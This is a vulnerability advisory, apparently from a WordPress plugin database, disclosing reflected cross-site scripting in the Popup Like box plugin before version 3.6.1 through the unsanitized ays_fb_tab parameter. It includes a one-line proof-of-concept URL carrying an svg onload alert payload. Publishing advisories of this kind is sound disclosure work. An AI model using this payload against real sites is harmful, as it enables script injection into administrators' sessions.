WordPress Plugin Vulnerabilities
Popup Like box < 3.6.1 - Reflected Cross-Site Scripting
Description
The plugin does not sanitize and escape the ays_fb_tab parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting.
Proof of Concept
https://example.com/wp-admin/options-general.php?page=ays-facebook-popup-likebox&action=add&ays_fb_tab="><svg/onload=alert(/XSS/)>
Affects Plugins
Fixed in version 3.6.1
References
Classification
Miscellaneous
Original Researcher
Ran Crane
Submitter
Ran Crane
Verified
Yes
Timeline
Publicly Published
2022-03-07 (about 1 years ago)
Added
2022-03-07 (about 1 years ago)
Last Updated
2022-04-08 (about 1 years ago)